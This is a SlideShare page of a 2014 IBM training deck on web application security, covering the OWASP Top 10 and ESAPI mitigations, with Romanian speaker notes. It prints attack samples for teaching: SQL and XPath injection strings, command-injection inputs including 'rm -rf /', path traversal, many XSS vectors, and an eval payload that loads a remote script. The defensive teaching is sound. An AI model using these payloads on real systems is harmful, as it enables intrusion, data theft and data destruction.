Web Apps Security

824 views
696 views

Published on

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
824
On SlideShare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
20
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide
  • It may seem safe, but it’s not. Vrem sa vedem de ce nu e ‘safe’
    Nu putem fi 100% ‘safe’ insa putem tinde catre aceasta cifra
    Vom vedea exemple de atacuri, vulnerabilitati
    Speram sa avem must-have security list la sf. cursului
    O sa vedeme ca sistemee de securitate care nu sunt mature si testate sunt doar obstacole
    Un atacator doar va ‘ocoli’ obstacolele.
    Ce inseamna un API sigur si ce dezavantaje dpdv functional implica ele
    Va fi intotdeauna o balanta intre functionalitate, securitate si buget
  • E firesc, doar blocam accesul la Services like RPC, Net-BIOS, FTP, etc. and it will never deny access to 'exposed' services
    Nu ne pazeste de problemele de securitate din aplicatie. Punct.
    Ba chiar mai rau. HTTPS rosu in bara de browser inseamna conexiune interceptabila. Punct.
  • Am copiat citatul litera cu litera
    E din 2011 insa e despre NASA
  • OWASP – One stop shop in securitate.
    Organizatie non-profit, formata din lideri si experti in domeniu
    API-uri, teste de securitate automate, dummy vulnerable web-apps (WebGoat), tutoriale pentru imbunatatirea codului
    Incepem cu cele mai populare 10 tipuri de atacuri.
    Grupeaza 90% din atacurile potentiale insa nu vom putea intra in detaliu
    Vom trece doar prin cele cu bold
    Cele fara bold tin mai mult de configurare sau pur si simplu neglijenta (A6, A9)
  • * Consta in ‘injectarea’ un string intr-un query sau intr-o comanda externa
    a.i.
    acel query sau acea comanda sa intoarca un alt rezultat
    sau sa faca alta actiune
  • Observam ca suntem conectati prin HTTPS si in spatele firewall-ului
    In realitate query-ul e mult mai complicat
    Si vectorul de atac (‘ or 1=1 --) e mult mai complicat
    Prietenul lui cel mai bun Hibernate/JPA injection (Query-ul ar fi JPA si nu SQL)
    Poate da acces la mai multe date decat este autorizat user-ul ( modifcand clauza de where )
    Poate modifica date unde utilizatorul nu are acces ( modificand clauza de where intr-un update stmt )
    Cel mai rau se poate adauga ‘;’ si executa un query nou
  • Un alt exemplu mai putin intalnit, pentru a arata ca injectia are f multe valente
    Insa odata ce exista o interogare XML cu Xpath , vulnerabilitatea apare
  • Avem un camp de input a carui valoare va fi concatenata unei comenzi de sistem.
    Va afisa rezultatul ls –l.
    Voi introduce un vector de atac, si asta e rezultatul
    Asta se intampla cand output-ul comenzii se afiseaza pe ecran.
    In realitate nu e niciodata asa, insa poate introduce un input a.i. poate rula orice comanda !!! Cu drepturile procesului java.exe !!!
    Input mai putin evident
    Upload de excel ( in campurile caruia putem introduce orice
    , “” )
    Ls –l .profile; rm –rf /
    Cel mai bun indicator al vulnerabilitatii este concatenarea string-urilor in query
    Uneori ascunsa intr-un API de build al query-ului
    Ca sa ne pazim
    Folositi intotdeauna parametrii query-ului (PreparedStatement, Query.setParameter, etc.)
    Folositi user cu drepturi restranse pentru conectarea la DB, LDAP, etc.
    Rulati AppServer-ul cu un user dedicat cu drepturi restranse
    Nu concatenati continut dinamic in linia de comanda ( care un bad practice oricum)
  • Unul dintre cele mai ‘ascunse’
    Vulnerabilitatea apare atunci cand folosim input dinamic pentru a lua o referinta la un fisier de pe disc
    FileInputStream, File, IOUtils
    http://localhost/WebGoat/attack?Screen=57&menu=200
    Dupa demo
    Cum ne pazim ?
    Validare de input
    Nu lasa utilizatorul sa introduca o cale catre fisier ( chiar si hidden parameters )
  • HttpOnly & Secure flags  configurabil in Servlet 3.0 prin <cookie-config> tag
    Avem o aplicatie care include o resursa cu adresa absoluta
    Clear jsessionid cookie from chrome://settings/cookies
    Open a browser and navigate to https://localhost:8443/web-security-test/
    Notice that the tomcat 7.0.27 will set by default the HttpOnly and Secure flags
    BUT it will not set the secure flag if we first visit the address via a http connection
    Clear jsessionid cookie from chrome://settings/cookies
    Open a browser and navigate to http://localhost/web-security-test/
    Notice that the image has the JSESSIONID in the request header
    The rabbit hole goes much deeper.
    Incarcam resurse statice din locuri mai putin evidente
    JS
    CSS (@import , background images, etc)
  • http://localhost/WebGoat/attack?Screen=20&menu=900&stage=1
    Ne logam cu Tom
    In campul de street introducem un <script>alert(1)</script>
    Ne logam cu Jerry
    Cautam dupa profilul lui Tom
    !!! Nu doar tag-ul de <script> este un vector XSS. Aproape orice tag HTML are event binding actions
    onmouseover,
    onkeyup
    Onclick
    <div onmouseover=“alert(1)”/>
  • Executia src attribute depinde de la browser la browser
    a little-known feature, some CSS implementations permit JavaScript code to be embedded in stylesheets ( ex in I.E )
  • Exploram putin contextele in care XSS poate aparea
    <SCRIPT> tag  hello User!"); console.log('attack');//
    inside eval()  ");var headID = document.getElementsByTagName("head")[0];
    var newScript = document.createElement("script");
    newScript.type = "text/javascript";
    newScript.src = "http://www.somedomain.com/somescript.js";
    headID.appendChild(newScript);//
    2 feluri de a ne pazi :
    Validare de input
    Pb complicata pentru ca acel continut dinamic poate fi in foarte multe contexte
    In exemplu variabila este afisata in context HTML
    Insa se poate afisa in context
    JS,
    CSS,
    atribut HTML,
    cookie,
    Header HTTP
    Incodare output
    Vom folosi API-urile ESAPI
    Mai toate framework-urile incodeaza output-ul, insa nu pentru toate contextele in care apare
    Un mod universal de a incoda absolut ORICE variabila
  • Eval() … evalueaza un string ca si cod java script.
    Poate contine orice cod js valid.
    Rar intalnit continut dinamic in interiorul unui eval().
    DACA este totus intalnit, atunci este EXTREM de susceptibil la un XSS
  • Id-urile se pot ghici foarte usor.
    Enumerare prin ele si poti obtine acces la date pentru care nu esti autorizat
    Mai mult URL-ul se poate ghici :
    http://somehost/actions/updateUser ( cu id-ul pasat ca si parametru )
    http://somehost/actions/deleteUser ( cu id-ul pasat ca si parametru )
    http://localhost/WebGoat/attack?Screen=20&menu=900&stage=5
    Larry isi poate vedea doar propriul profil
    Modificam ID-ul din option list la 110
    Modificam si actiunea in DeleteProfile ( intuitiv ) si vedem ca Joane McDougal nu mai exista in lista
    NU expuneti id-uril in BD. Expuneti niste randomizare ale acestora
    Mai mult ca sigur id-urile respective sa fie folosite in alta parte a aplicatiei
    Mai mult un atacator itereaza prin id-uri
    Never trust supplied data
    ANYTHING in the HTTP Request can be altered
    METHOD (GET ,POST )
    Query
    Headers
    Cookies
    Etc.
  • Si DIGEST e doar o incodare MD5 a parolei, care poate fi f usor sparta ( mai jos )
  • Masina pe care se face calculul este un 8 core i7 la 3.2 Ghz ( adica un laptop bun de la emag )
    Timpul este suma duratelor de timp pentru a incripta toate variantele si a compara cu string-ul tinta.
    Parolele cu mix de alfa numeric si simboluri sunt enervante insa necesare
    * Source: http://calc.opensecurityresearch.com/
  • Analizam un atac de brute-force NU unul de
    Dictionar
    Substitutie de caractere ( E = 3 , l =1 , etc. )
    Secvente de key ( pe orizontala, pe diagonala, etc. )
  • Folosit rar in practica, insa folosit des de framework-uri
    Demo http://localhost/web-redirect-test/admin/admin.jsp
    Login  403
    Go to http://localhost/web-redirect-test/forward
    Go to http://localhost/web-redirect-test/include
  • Vom studia cele cu bold
  • Canonicalizarea inseamna aducerea la cea mai simpla forma de reprezentare
    ESAPI are un API pentru asa ceva
    Atacuri ce folosesc incodare dubla spre ex sunt complicate si nu pot fi usor prezentate
    Este un ‘good practice’, eviti double encoding-urile ( care sunt forme de atac )
  • Daca vrei sa fii ‘mai catolic decat papa’ sau daca ai date f sensibile de protejat
  • Let’s give it a try.
    Reflected XSS
    The iframe tag will need to use the validator
    Apparently javascript:console.log('x') is a valid javascript attack vector
    Script tag ( encode JS )
    CSS Styles ( encode for CSS )
    Eval (encode for JS)
  • Encoding-ul este un safety-net
    Un strat in plus care protejeaza de atacurile ce au trecut de restul straturilor
    Incodand in felul asta poti fi sigur ca nu scapa nici un vector de atac in nici un context
  • In cazul in care se doreste output HTML ( forms, etc. ) insa se vrea sa fie ‘clean’.
    Pentru a emula rich user content ( e.g. un document HTML), in general se foloseste MARKDOWN language ( wikis, stackoverflow, forumuri).
  • Web Apps Security

    1. 1. © 2014 IBM Corporation2 ● The code that we write is not safe ! ● Learn by exemplifying ● Introduce developer to security APIs
    2. 2. © 2014 IBM Corporation3 Interesting facts ● Myth: We are secure because we have a firewall – 75% of vulnerabilities are at web application layer Gartner Group (2002 report) – Basically network layer protection just denies access to services ● Myth: I am safe because I‘m connected via HTTPS/SSL – HTTPS will just ensure that no one intercepts the information. – A web page can include static resources or other content from the same host via a non secure channel
    3. 3. © 2014 IBM Corporation4 Interesting facts ● NASA counted 5,408 security breaches where some access was given or malicious software was installed. In 2011 alone they had 47 attacks they described as ―advanced persistent threats,‖ serious attacks by well-funded ―individuals or nations.‖ Of those, 13 succeeded, and one attack based in China gained complete access to Jet Propulsion Laboratory (JPL) systems — read, write, delete, add and delete users, modify logs, everything. ● Paul Marting ( NASA inspector general ) in a written testimony to US government ● Visa, MasterCard, AmericanExpress & Discover Financial Systems, were hit in March by a data-security breach when a third-party service provider ( Global Payments Inc.) discovered its systems were compromised ● www.reuters.com
    4. 4. © 2014 IBM Corporation5 Let’s start with OWASP Top 10
    5. 5. © 2014 IBM Corporation6 ● Open web application security project ( www.owasp.org) ● not-for-profit worldwide charitable organization focused on improving the security of application software. ● Users and adopters of APIs and standards: US Federal Trade Commision,Citibank, PwC, HP, IBM Global Services, US Bureau of Alcohol Tobacco and Firearms,etc. ● OWASP Top Ten 2013 ( the 10 most common security flaws found in web applications in 2013 ): ● A1 : Injection ● A2 : Broken Authentication and Session Management ● A3 : Cross-Site Scripting (XSS) ● A4 : Insecure Direct Object References ● A5 : Security Misconfiguration ● A6 : Sensitive Data Exposure ● A7 : Insecure Cryptographic Storage ● A8 : Cross-Site Request Forgery (CSRF) ● A9 : Using component with known vulnerabilities ● A10: Un-validated Redirects and Forwards OWASP Top Ten
    6. 6. © 2014 IBM Corporation7 A1 Injection ● Various forms of injection ● SQL Injection ● Xpath injection ● Command injection ● Path based injection ● LDAP injection ● Etc.
    7. 7. © 2014 IBM Corporation Select user_information from user_table where username='’' or 1=1 -– 'and password=’abc’ 8 A1 Injection Select user_information from user_table where username=’input username’ and password=’input password’ Web Server Application Server User Database User https SQL injection
    8. 8. © 2014 IBM Corporation9 A1 Injection Xpath injection FindUserXPath becomes : //Employee[UserName/text()='blah' or 1=1 or 'a'='a' And Password/text()='blah'] Web Server Application Server User Database User https FindUserXPath = "//Employee[UserName/text()='" + Request("Username") + "' And Password/text()='" + Request("Password") + "']"; <?xml version="1.0" encoding="utf-8"?> <Employees> <Employee ID="1"> <FirstName>Arnold</FirstName> <LastName>Baker</LastName> <UserName>ABaker</UserName> <Password>SoSecret</Password> <Type>Admin</Type> </Employee> <Employee ID="2"> <FirstName>Peter</FirstName> <LastName>Pan</LastName> <UserName>PPan</UserName> <Password>NotTelling</Password> <Type>User</Type> </Employee> </Employees>
    9. 9. © 2014 IBM Corporation10 A1 Injection Command injection Web Server Application Server User Database User https $ ls -l .profile ; cat /etc/password $ “ls -l” + request.getParameter(“file_name”)
    10. 10. © 2014 IBM Corporation11 Path based injection ( manipulation / traversal ) ● Atacker gains access to system files by manipulating a 'path/to/file.txt' supplied as a parameter ● For plain files, one can browse through the file system with directory style paths ( ../../../../conf/tomcat-users.xml ) ● demo
    11. 11. © 2014 IBM Corporation12 A3 Broken authentication and session management A2 Broken Authentication and Session Management Attacker uses leaks or flaws in the authentication or session management functions to impersonate users. • e.g., exposed accounts, passwords, session IDs
    12. 12. © 2014 IBM Corporation13 A3 Broken authentication and session management ● Session ids should not be exposed in the URL ( http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJ UN2JV?dest=Hawaii ) ● They will get recorded in logs of servers, proxies and routers can be easily distributed ● Session cookies must be manipulated only by http headers sent by the server (HttpOnly flag) ● Sessions should timeout in accordance to application risk rating ● All navigation within that domain should be secure (https) because an attacker can 'snif' the session id and steal the session. ● Setting 'secure' flag on session cookies is a must. This way session cookie will not be sent on insecure channels ( e.g. including static resources or embedding remote html ) ● Session ids should change after a login attempt ● This prevents session fixation attacks when an attacker obtains (by some other means) the value of the session id and if the target user has a valid logged-in session on a server, the attacker is able to join the session just by setting the session cookie ● demo A2 Broken Authentication and Session Management
    13. 13. © 2014 IBM Corporation14 A2 Cross site scripting A3 Cross site scripting ● Stored XSS ● Reflected XSS
    14. 14. © 2014 IBM Corporation15 A2 Cross site scripting Stored XSS attacks ● An input field which is not properly validated will insert script tags besides the usual field value ● If the field is displayed literally in another part of the application, it will result in the code within the script tags being executed Web Server Application Server User Database User https Web Server Application Server User Database User https
    15. 15. © 2014 IBM Corporation16 A2 Cross site scripting Other flavors of XSS ● Reflected input ● Input from the user is echoed to the screen. (e.g. error messages like 'input X is invalid' – in this case X can contain XSS code and more then often can be sent to a different user via an URL) ● Pretty much all tags are vulnerable to XSS: ● All tags contain event functions (onmouseover,onkeyup, etc.) and they can be passed in as input somewhere ● HTML attributes are also vulnerable ● E.g <frame>, <iframe> and <img> can have the src attribute javascript injectable ( e.g <iframe src=‖javascript:alert(1)‖/> will be executed by most browsers ) ● Even css style tags are vulnerable. ● demo
    16. 16. © 2014 IBM Corporation Other flavors of XSS ● And XSS attack vector list goes on: ● <BODY BACKGROUND="javascript:alert('XSS')"> ● <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> ● <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> ● <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> ● <STYLE>.XSS{background- image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> ● Comprehensive list of vectors: https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
    17. 17. © 2014 IBM Corporation18 A2 Cross site scripting Dangerous use of eval ● This is usually done when behavior of page needs to be controlled from the server. ● E.g show different alert() windows. ● eval() function is the most dangerous. Do not put dynamic content in the eval() function. ● The reason for this is that validation of input which goes between the brackets of the eval() is hard to validate. You can basically write js and have the browser interpret it using a simple set of characters. ● In some cases js code can NOT be escaped/commented ( OWASP directive ), so it is really hard to defend against this attack. ● demo
    18. 18. © 2014 IBM Corporation19 A4: Insecure Direct Object References & A5 Cross site request forgery A4: Insecure Direct Object References & CSRF ● Cross site request forgery (CSRF) ● Direct object references
    19. 19. © 2014 IBM Corporation20 A4: Insecure Direct Object References & A5 Cross site request forgery Request forgery and weak access control ● Attacker will 'forge' request parameters based on 'similarities' between actions and navigation ● Easiest to forge will be ids which are usually sequential integers ● Normally all actions within an application should rely on authenticated principal(user) and NOT on supplied parameters ● demo
    20. 20. © 2014 IBM Corporation21 A7 Insuficient cryptographic storage & A9: Insufficient Transport Layer Protection A7 Insecure cryptographic storage & A9: Insufficient Transport Layer Protection
    21. 21. © 2014 IBM Corporation22 A7 Insuficient cryptographic storage & A9: Insufficient Transport Layer Protection Insecure HTTP header authentication ● Http header authentication is nothing but a Base64 encoding of 'username:password‗ ● Make sure all HTTP authenticated traffic is encrypted GET /exchange/ HTTP/1.1 Host: webmail.xxxx.xx Connection: keep-alive Cache-Control: max-age=0 Authorization: Basic dTI5ODMyOTpteV9wYXNzd29yZA== User-Agent: Mozilla/5.0 (Windows NT 5.1) ..... Accept:text/html,application/xhtml+xml,..... ..... dTI5ODMyOTpteV9wYXNzd29yZA== u298329:my_password
    22. 22. © 2014 IBM Corporation Encryption algorithm strength Numar de caractere Algoritm incriptare Nr chei / secunda Alfabet Timp 5 Raw MD5 8754 a-z, A-Z 44 seconds 5 Raw MD 5 8754 a-z, A-Z, 0-9 1 minutes 46 seconds 5 Raw MD 5 8754 a-z, A-Z, 0-9, !@#$%^&*()_+= 4 minutes 53 seconds 5 Raw SHA-256 2600 a-z, A-Z 2 minutes 29 seconds 5 Raw SHA-256 2600 a-z, A-Z, 0-9 5 minutes 58 seconds 5 Raw SHA-256 2600 a-z, A-Z, 0-9, !@#$%^&*()_+= 16 minutes 28 seconds 6 Raw MD5 8754 a-z, A-Z 38 minutes 22 seconds 6 Raw MD 5 8754 a-z, A-Z, 0-9 1 hours 49 minutes 54 seconds 6 Raw MD 5 8754 a-z, A-Z, 0-9, !@#$%^&*()_+= 6 hours 11 minutes 46 seconds 6 Raw SHA-256 2600 a-z, A-Z 2 hours 9 minutes 13 seconds 6 Raw SHA-256 2600 a-z, A-Z, 0-9 6 hours 10 minutes 4 seconds 6 Raw SHA-256 2600 a-z, A-Z, 0-9, !@#$%^&*()_+= 20 hours 51 minutes 43 seconds 8 Raw MD5 8754 a-z, A-Z 72 days 1 hours 37 minutes 8 Raw MD 5 8754 a-z, A-Z, 0-9 293 days 9 hours 50 minutes 8 Raw MD 5 8754 a-z, A-Z, 0-9, !@#$%^&*()_+= 4 years 30 days 5 hours 57 minutes 8 Raw SHA-256 2600 a-z, A-Z 242 days 15 hours 29 minutes 8 Raw SHA-256 2600 a-z, A-Z, 0-9 2 years 257 days 9 hours 43 minutes 8 Raw SHA-256 2600 a-z, A-Z, 0-9, !@#$%^&*()_+= 13 years 272 days 15 hours 55 minutes
    23. 23. © 2014 IBM Corporation24 A7 Insuficient cryptographic storage & A9: Insufficient Transport Layer Protection Password strength Brute-forcing passwords • '1234567890' can be cracked in 472 s • 'plainpw' can be cracked in 420 s • 'PlainPw' can be cracked in 1681 s • 'Pl4inPw' can be cracked in 126 days • 'P|4inPw' can be cracked in 21 years
    24. 24. © 2014 IBM Corporation25 A10 Unvalidated redirects and forwards A10 Unvalidated redirects and forwards
    25. 25. © 2014 IBM Corporation26 A7 Insuficient cryptographic storage & A9: Insufficient Transport Layer Protection Password strength Be careful when using forward() and include() • It‘s an internal mechanism which will bypass standard AS authorization • request.getRequestDispatcher(―protectedUrl‖) • forward() • include() • demo
    26. 26. © 2014 IBM Corporation27 Mitigating security threats
    27. 27. © 2014 IBM Corporation28 ● OWASP created the ESAPI in order to 'mitigate' the top 10 risks. The API is available in pretty much every language ( JEE,PHP, .NET,Python, Ruby, etc.) ● It is basically a collection of classes (API) that encapsulate the key security operations that an application needs ● It has been designed to make it easy for programmers to retrofit security into existing applications ● It is scalable at enterprise levels
    28. 28. © 2014 IBM Corporation ● It addresses the following aspects: – Authentication – Access control – Input validation – Output encoding/escaping – Cryptography – Error handling and logging – Communication security – HTTP security – Security configuration – And many more… OWASP ESAPI
    29. 29. © 2014 IBM Corporation30 Input and output validation Mitigating XSS and Injection attacks • Canonicalize input • Convert encoded %3c%3e → <> • Convert encoded <> → <> • Validate input (at least for these characters <>;:”'()'&) • Best practice is to throw away potentially harmful content. Do not try to 'clean up' the content, because many cleanup algorithms can be circumvented ( OWASP ) • e.g. some_string.replaceAll(“<script>”,””); attacker can just pass in “<scr<script>ipt>” and the result will be <script> • Attack vector can also be “< script >” • Can very well be “ < ScRiPt >” • Use a whitelist of characters instead of blacklist ( permitted vs unpermitted ). The blacklist can never be comprehensive enough. • Attacks can be extremely complex, so there is also a wide range of characters that can pose threats
    30. 30. © 2014 IBM Corporation31 Input and output validation Mitigating XSS and Injection attacks • It is designed to throw meaningfull exception if an attack is suspected ●IntrusionException in case a potential attack is detected ( harmfull characters present) ● ValidationException in case an validation rules fail ( double encoding present and an attack is suspected) –For Http parameters ●ESAPI.validator().assertValidHTTPParameters(...) –For file path based parameters ●ESAPI.validator().getValidDirectoryPath(..) ●ESAPI.validator().getValidFileName(..) –For plain HTML input ●ESAPI.validator().getValidInput(..) Use ESAPI Validator
    31. 31. © 2014 IBM Corporation32 Input and output validation ● Contextually encode output – For HTML ( e.g ESAPI HTML encoder ) ● ESAPI.encoder().encodeForHTML(..) – For tag attributes (e.g ESAPI HTML attribute encoder ) ● ESAPI.encoder().encodeForHTMLAttribute(..) – For CSS ( e.g ESAPI CSS encoder ) ● ESAPI.encoder().encodeForCSS(..) – For Javascript ( e.g. ESAPI Javascript encoder) ● ESAPI.encoder().encodeForJavascript(..) – For queries in LDAP Dbs: – demo ● ESAPI.encoder().encodeForDN(...) Mitigating XSS and Injection attacks Use ESAPI encoder
    32. 32. © 2014 IBM Corporation33 Encoding of output example ● A developer can also encode output. Using the ESAPI.encoder() you can generate safe HTML, Js, CSS,... ● Below we are encoding this string → <>"'%&.()[]@#//-+ – Encoding for HTML : – &lt;&gt;&quot;'%&amp;.()[]&#x 40;#//-+ – Encoding for CSS : – 3c 3e 22 27 25 26 2e 28 29 5b 5d 40 23 2f 2f 2d 2b – Encoding for JS : – x3Cx3Ex22x27x25x26.x28x29x5Bx5Dx40x23x2Fx2Fx 2Dx2B – Encoding for html attribute : – &lt;&gt;&quot;'%&amp;.()[]&#x 40;#//-+
    33. 33. © 2014 IBM Corporation34 ● Keep things simple ● Use mature APIs/frameworks ● Don‘t give away info about the system ● 404 errors, exceptions, html comments ● Keep entire site under https ● Encode output contextually ● Validate input globally ● Keep sessionid safe ( httponly, secure ) ● Change it after successful login Checklist
    34. 34. © 2014 IBM Corporation35 Thank you ! by Victor Bucutea

    ×